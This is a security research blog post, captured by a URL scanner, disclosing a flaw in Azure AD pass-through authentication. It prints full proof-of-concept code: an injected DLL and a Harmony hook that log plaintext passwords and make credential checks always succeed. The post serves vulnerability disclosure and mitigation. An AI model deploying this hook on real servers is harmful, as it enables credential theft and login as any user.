cymulate.com Open in urlscan Pro
2606:4700:10::6816:4f1  Public Scan

URL: https://cymulate.com/blog/exploiting-pta-credential-validation-in-azure-ad/
Submission: On August 16 via api from TR — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

Skip to content
 * LOG IN
 * BOOK A DEMO

 * Platform
   * * Platform
       * Cymulate Platform
       * Attack Surface Management
       * Breach and Attack Simulation
       * Continuous Automated Red Teaming
       * Exposure Analytics
       
         Frost Radar Automated Security Validation Report 2024
         
         Read More
     * Quick Links
       * Why Cymulate
       * MITRE ATT&CK® Framework
       
         Frost Radar Automated Security Validation Report 2024
         
         Read More
     
       Frost Radar Automated Security Validation Report 2024
       
       Read More
 * Solutions
   * * Use Cases
       * Security Controls Validation
       * Exposure Management
       * Attack-Based Vulnerability Prioritization
       * Baseline Cyber Resilience
       * Cloud Security Validation & Exposure Management
       
         Gartner® Report: Hype Cycle™ for Security Operations, 2024
         
         Read More
     * Roles
       * CISO
       * SOC
       * Red Teams
       * MSSPs
       
         Gartner® Report: Hype Cycle™ for Security Operations, 2024
         
         Read More
     
       Gartner® Report: Hype Cycle™ for Security Operations, 2024
       
       Read More
 * Resources
   * * Cymulate Resources
       * Data Sheets & Solution Briefs
       * Reports, Whitepapers, eBooks
       * Webinars, Videos, Podcasts
       * Case Studies
       * Industry Events
       
         eBook: The Principle of Security Validation
         
         Read More
     * Tech Resources
       * Blog
       * Glossary
       * Immediate Threats
       * MITRE ATT&CK
       
         eBook: The Principle of Security Validation
         
         Read More
     
       eBook: The Principle of Security Validation
       
       Read More
 * Company
   * * About Us
       * ABOUT CYMULATE
       * JOIN THE TEAM
       * CONTACT US
       
         Data Sheet: Security and Exposure Validation Platform
         
         Download
     * Newsroom
       * News
       * Awards
       * Media Kit
       * Press Releases
       
         Data Sheet: Security and Exposure Validation Platform
         
         Download
     
       Data Sheet: Security and Exposure Validation Platform
       
       Download
 * Partners
   * * Partner Network
       * Technology Partners & Alliances
       * Managed Security Service Providers
       
         Cymulate Partner Program OIverview
         
         Download
     * Not Yet a Partner?
       * Become a Partner
       
         Cymulate Partner Program OIverview
         
         Download
     * Already a Partner?
       * Partner Portal Login
       
         Cymulate Partner Program OIverview
         
         Download
     
       Cymulate Partner Program OIverview
       
       Download




DOUBLE AGENT: EXPLOITING PASS-THROUGH AUTHENTICATION CREDENTIAL VALIDATION IN
AZURE AD 

By: Cymulate Research Lab,
Created: August 15, 2024
linkedin twitter facebook mail

ILAN KALENDAROV, SECURITY RESEARCHER 
ELAD BEBER, SECURITY AND VULNERABILITY RESEARCHER 

Today’s enterprise security architecture demands seamless authentication across
various systems. To accomplish this, many organizations use Azure Active
Directory (AAD) to sync their on-premises environments to the cloud to manage
user access across environments. (Note: Azure Active Directory has been
rebranded as Microsoft Entra ID, but we’ll continue to call it AAD throughout
this blog for simplicity.) However, our recent investigation uncovered a
vulnerability in AAD when syncing multiple on-premises AD domains to a single
Azure tenant. This issue arises when authentication requests are mishandled by
pass-through authentication (PTA) agents for different on-prem domains, leading
to potential unauthorized access.

By manipulating the credential validation process, attackers can bypass security
checks, posing significant risks to hybrid identity infrastructures. This
vulnerability effectively turns the PTA agent into a double agent, allowing
attackers to log in as any synced AD user without knowing their actual password;
this could potentially grant access to a global admin user if such privileges
were assigned. Regardless of their original synced AD domain, and potentially
move laterally to different on-premises domains. Additionally, attackers could
log in as a synced AD user with high privileges inside the tenant, leading to
privilege escalation and persistence.

Note: The attack would need a local admin on the server hosting the PTA agent. 
In this blog post, we delve into the technical details of this vulnerability,
demonstrate the potential impact, and discuss mitigation strategies to safeguard
your environment. 




WHAT IS PASS-THROUGH AUTHENTICATION? 

According to Microsoft documentation:  
“Microsoft Entra pass-through authentication allows your users to sign in to
both on-premises and cloud-based applications using the same passwords. This
feature provides your users a better experience – one less password to remember,
and reduces IT helpdesk costs because your users are less likely to forget how
to sign in. When users sign in using Microsoft Entra ID, this feature validates
users’ passwords directly against your on-premises Active Directory.” 

Figure 1: PTA authentication process

The diagram above visualizes the authentication process across 12 steps: 

 1.  The user tries to access an application, for example, Azure. 
 2.  If the user is not already signed in, the user is redirected to the
     Microsoft Entra ID User Sign-in page. 
 3.  The user enters their username into the Microsoft Entra sign-in page, and
     then selects the Next button. 
 4.  The user enters their password into the Microsoft Entra sign-in page, and
     then selects the Sign in button. 
 5.  Microsoft Entra ID, on receiving the request to sign in, places the
     username and password (encrypted by using the public key of the
     Authentication Agents) in a queue. 
 6.  An on-premises Authentication Agent retrieves the username and encrypted
     password from the queue. Note that the Agent doesn’t frequently poll for
     requests from the queue but retrieves requests over a pre-established
     persistent connection. 
 7.  The agent decrypts the password by using its private key. 
 8.  The agent validates the username and password against Active Directory by
     using standard Windows APIs, which is a similar mechanism to what Active
     Directory Federation Services (AD FS) uses. The username can be either the
     on-premises default username, usually userPrincipalName, or another
     attribute configured in Microsoft Entra Connect (known as Alternate ID). 
 9.  The on-premises Active Directory domain controller (DC) evaluates the
     request and returns the appropriate response (success, failure, password
     expired, or user locked out) to the agent. 
 10. The Authentication Agent, in turn, returns this response back to Microsoft
     Entra ID. 
 11. Microsoft Entra ID evaluates the response and responds to the user as
     appropriate. For example, Microsoft Entra ID either signs the user in
     immediately or requests for Microsoft Entra multifactor authentication. 
 12. If the user sign-in is successful, the user can access the application. 




HOW WE DISCOVERED THE VULNERABILITY 

We began our research by exploring the internet for known techniques that abuse
Azure environments. During our research, we encountered a blog by Adam Chester
(https://blog.xpnsec.com/azuread-connect-for-redteam/). 

We delved into the Azure AD pass-through authentication process and started
decompiling the PTA agent using dnSpy. We discovered something strange. When we
logged in as a synced user, it would randomly give us a wrong password error,
and then after a few tries, it would log us in using the same password.
Initially, we thought the browser agent might be affecting the destination
request of the login attempt. However, we later realized it was just a poor user
experience, meaning the Azure synced user would randomly succeed in logging in
with the same password. 

What we found was that behind the scenes, our login requests were being randomly
retrieved by the PTA agents in the environment. If the request was retrieved by
an incorrect PTA agent (an agent from a different synced domain), the login
attempt would fail because the PTA agent forwarded the request to the AD server,
and the AD server did not recognize the user.

Figure 2: Authentication process with two synced AD domains.

Figure 3: Poor user experience of a login attempt.



THE ISSUE 

When a synced user attempts to sign in to Azure, the password validation request
is placed in the Service Bus queue and retrieved by one of the available
Pass-Through Authentication (PTA) agents, regardless of the user’s origin
domain. If a PTA agent retrieves the username and password of a user from a
different domain, it will attempt to validate the credentials against its own
Windows Server AD. This results in authentication failure because the server
does not recognize the specific user. 

Figure 4: Login attempt from Domain A to Domain B

As you can see from Figure 4, we are under the “cymattack” on-prem domain, but
we got the credentials for the “cymtown” domain. 

Figure 5: Login attempt from Domain A to Domain B Failed

As you can see from Figure 5, the return value from the ValidateCredentials
function is False due to the LogonUser function failing because the AD server
does not know the user who is attempting to login (Different Domain). 

Figure 6: Login attempt failed (Bad User Experience).

As you can see from Figure 6, the login attempt failed even though the password
is correct, which leads to a poor user experience. This will happen randomly
every time until the correct PTA agent gets the request. 




DEVELOPING THE POC 

With this approach in mind, we proved the potential for bypassing AAD
authentication. First, we inject an unmanaged DLL into the PTA agent process.
This DLL utilizes the existing CLR instance within the process to load a managed
DLL. Once the managed DLL is loaded, it hooks the ValidateCredential function
both at the beginning and at the end, allowing us to control the return value of
the function. By controlling the return value of the function, we can always
return True. This means that even if we provide the credentials of a user from a
different domain, the hook would return True. Thus, we would be able to log in
as any user from any synced on-prem AD. So the result would look like this: 

Figure 7: Exploitation process.


using System;
using System.IO;
using System.Reflection;
using HarmonyLib;

namespace Captain_HooK
{
    public class HooK
    {
        private static void LogToFile(string message)
        {
            string path = @"C:\Users\Public\hook.txt";
            using (StreamWriter sw = new StreamWriter(path, true))
            {
                sw.WriteLine(message);
            }
        }

        public static int InstallHook(string TestParam)
        {
            try
            {
                LogToFile("C# DLL Injected Successfully!");
                Type targetType = typeof(Microsoft.ApplicationProxy.Connector.DirectoryHelpers.ActiveDirectoryDomainContext);

                // Get the method to be patched
                MethodInfo targetMethod = targetType.GetMethod("ValidateCredentials", BindingFlags.Public | BindingFlags.Instance);
                if (targetMethod == null)
                    throw new Exception("Could not resolve ValidateCredentials");

                LogToFile("Got Function!");

                Harmony harmony = new Harmony("ValidateCredentialsPatch");
                MethodInfo prefixMethod = typeof(HooK).GetMethod("Prefix_ValidateCredentials");
                MethodInfo postfixMethod = typeof(HooK).GetMethod("Postfix_ValidateCredentials");
                harmony.Patch(targetMethod, new HarmonyMethod(prefixMethod), new HarmonyMethod(postfixMethod));

                LogToFile("Waiting for connection...");
                LogToFile("------------------------------------------");

                return 0;
            }
            catch (Exception ex)
            {
                LogToFile($"Exception: {ex.Message}");
                return -1;
            }
        }

        public static bool Prefix_ValidateCredentials(ref string userPrincipalName, ref string password, ref object __result)
        {
            LogToFile($"[+] Username: {userPrincipalName}");
            LogToFile($"[+] Password: {password}");
            LogToFile("------------------------------------------");
            return true; // Do not skip executing original ValidateCredentials()
        }

        public static void Postfix_ValidateCredentials(ref bool __result)
        {
            __result = true; // Always return true
            LogToFile("Postfix hook executed, result set to true.");
        }
    }
}

At this point, we were familiar with hooking native methods of WinAPIs from
unmanaged code. However, hooking a function inside managed code was less
familiar to us. We started researching ways to achieve this and discovered the
powerful capabilities of the Harmony library for hooking .NET code at runtime.
Here’s a detailed look at how we accomplished this by injecting a hook into the
ValidateCredentials method of the
Microsoft.ApplicationProxy.Connector.DirectoryHelpers.ActiveDirectoryDomainContext
class within the PTA agent process. 




THE INSTALLHOOK FUNCTION 

The InstallHook method is the core of this operation. It dynamically interacts
with an already running instance of the .NET CLR within the PTA agent process to
hook the ValidateCredentials method. Utilizing the Harmony library, the method
performs the following actions: 

 1. Prefix Hook: The prefixMethod will hook the start of the ValidateCredentials
    method. This allows capturing and logging the credentials (username and
    password) to a file before the original method execution. 
 2. Postfix Hook: The postfixMethod will hook the end of the ValidateCredentials
    method. This modifies the return value to always return true, thereby
    granting login access to any user attempting to authenticate. 

At this point, we have a valid managed DLL that can be loaded into the PTA agent
process. To achieve this, we needed a method to load the managed DLL. We wrote
an unmanaged C++ DLL that loads the managed DLL using the existing CLR within
the running process. 

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <metahost.h>
#include <cstdio>
#include <fstream>
#include <sstream>
#include <comdef.h>

#pragma comment(lib, "mscoree.lib")

void LogToFile(const std::wstring& message) {
    std::wofstream logFile;
    logFile.open(L"C:\\Users\\Public\\log.txt", std::ios_base::app);
    if (logFile.is_open()) {
        logFile << message << std::endl;
        logFile.close();
    }
}

std::wstring ToWString(DWORD value) {
    std::wstringstream wss;
    wss << value;
    return wss.str();
}

std::wstring GetErrorMessage(HRESULT hr) {
    _com_error err(hr);
    return std::wstring(err.ErrorMessage());
}

int main()
{
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL; 
    ICLRRuntimeHost* runtimeHost = NULL;

    if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost) == S_OK) { 
        LogToFile(L"CLR instance created successfully.");

        if (metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo) == S_OK) { 
            LogToFile(L"Got CLR runtime version 4.0.30319 successfully.");

            BOOL isStarted = FALSE;
            if (runtimeInfo->IsStarted(&isStarted, NULL) == S_OK && isStarted) {
                LogToFile(L"CLR runtime host is already started.");

                if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) == S_OK) {
                    LogToFile(L"Got CLR runtime host interface successfully.");
                }
                else {
                    LogToFile(L"Failed to get CLR runtime host interface.");
                }

            }
            else {
                if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) == S_OK) { 
                    LogToFile(L"Got CLR runtime host interface successfully.");

                    if (runtimeHost->Start() == S_OK) {
                        LogToFile(L"CLR runtime host started successfully.");
                    }
                    else {
                        LogToFile(L"Failed to start CLR runtime host.");
                    }
                }
                else {
                    LogToFile(L"Failed to get CLR runtime host interface.");
                }
            }

            DWORD pReturnValue; 


            HRESULT hr = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\Users\\Public\\captainhook.dll", L"Captain_HooK.HooK", L"InstallHook", nullptr, &pReturnValue);
            if (hr == S_OK) {
                LogToFile(L"Method executed successfully with return value: " + ToWString(pReturnValue));
            }
            else {
                LogToFile(L"Failed to execute method in default app domain. Error: " + GetErrorMessage(hr) + L" (HRESULT: " + ToWString(hr) + L")");
            }

            runtimeInfo->Release();
            metaHost->Release();
            runtimeHost->Release();
        }
        else {
            LogToFile(L"Failed to get CLR runtime version.");
        }
    }
    else {
        LogToFile(L"Failed to create CLR instance.");
    }

    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        auto Thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)main, 0, 0, 0);
        if (Thread)
            return TRUE;
        else
            return FALSE;
    }
    break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

The code starts by creating an instance of the CLR using CLRCreateInstance and
logs the success. It then retrieves the runtime information for the .NET
version, ensuring compatibility with the running process. The DLL checks if the
CLR is already started, and if not, it starts the CLR and retrieves the runtime
host interface. Using ExecuteInDefaultAppDomain, the DLL loads and executes the
InstallHook method from the managed DLL (captainhook.dll). After this, the hooks
are set up and the system waits for incoming connections. 



The video below demonstrates how we are able to log in to three different users
from three different on-premises domains. We logged in to each user twice to
show that the password is irrelevant due to our hooked function. At the end of
the video, the synced AD user is shown to be a global administrator, and we
granted a random user global admin rights to demonstrate our ability to exploit
these privileges.


VIDEO POC





MITIGATION STEPS & RECOMMENDATIONS 

Microsoft recommends treating the Entra Connect server as a Tier 0 component.
According to them: 

“The Microsoft Entra Connect server must be treated as a Tier 0 component as
documented in the Active Directory administrative tier model. We recommend
hardening the Microsoft Entra Connect server as a Control Plane asset by
following the guidance provided in Secure Privileged Access” 

Additionally, enabling 2FA for all synced users would effectively block this
attack as the attacker wouldn’t be able to move laterally to the cloud. 

We would expect Microsoft to implement domain-aware routing to ensure
authentication requests are directed to the appropriate PTA agent. Additionally,
establishing strict logical separation between different on-premises domains
within the same tenant may be beneficial. 




COMMUNICATION WITH MICROSOFT 

Cymulate researchers reported their initial findings to the Microsoft Security
Response Center (MSRC) on July 5, 2024. The MSRC responded to the Cymulate
research team on July 19, 2024, stating that the issue is not an immediate
threat and is of moderate severity. They also mentioned that no CVE will be
issued for this problem, even though they plan to fix the code on their end,
which is already in their backlog with no current ETA for the fix. Our
researchers will be recognized in the Hall of Fame for August 2024. 



Link to the Source Code.

Cymulate Research Lab
Our highly experienced and diverse researchers are fluent in security
intelligence practices, combining expertise in private security, military, and
intelligence experience. Continuously examining the cyber-threat landscape, our
experts deliver in-depth visibility into today’s threats and the actors behind
them.
 * 
 * 
 * blog
 * 
 * Double Agent: Exploiting Pass-through Authentication Credential Validation in
   Azure AD 

PRODUCTS

 * Cymulate Platform
 * Attack Surface Management
 * Breach & Attack Simulation
 * Continuous Automated Red Teaming
 * Exposure Analytics

SOLUTIONS

 * Use Cases
 * Exposure Management
 * Prioritize Exposure
 * Cloud Security Validation
 * Security Control Validation
 * Baseline Cyber Resilience

PARTNERS

 * Technology Partners
 * MSSPs
 * Become a Partner
 * Partners Central

COMPANY

 * About us
 * Careers
 * Investors
 * News Room
 * Contact us

Linkedin Facebook Twitter

© 2024 Cymulate. All Rights Reserved.

Privacy Policy | Terms of Use | Sub-Processors | Security at Cymulate | Cookie
Policy | Cymulate EULA




We use cookies to show you content that is relevant to you. By clicking
“Accept”, you agree to the storing of cookies on your device to enhance site
navigation, analyze site usage, and assist in our marketing efforts. Feel free
to read more about cookies and To customize your preferences by clicking
"settings"
Accept
Cookies Settings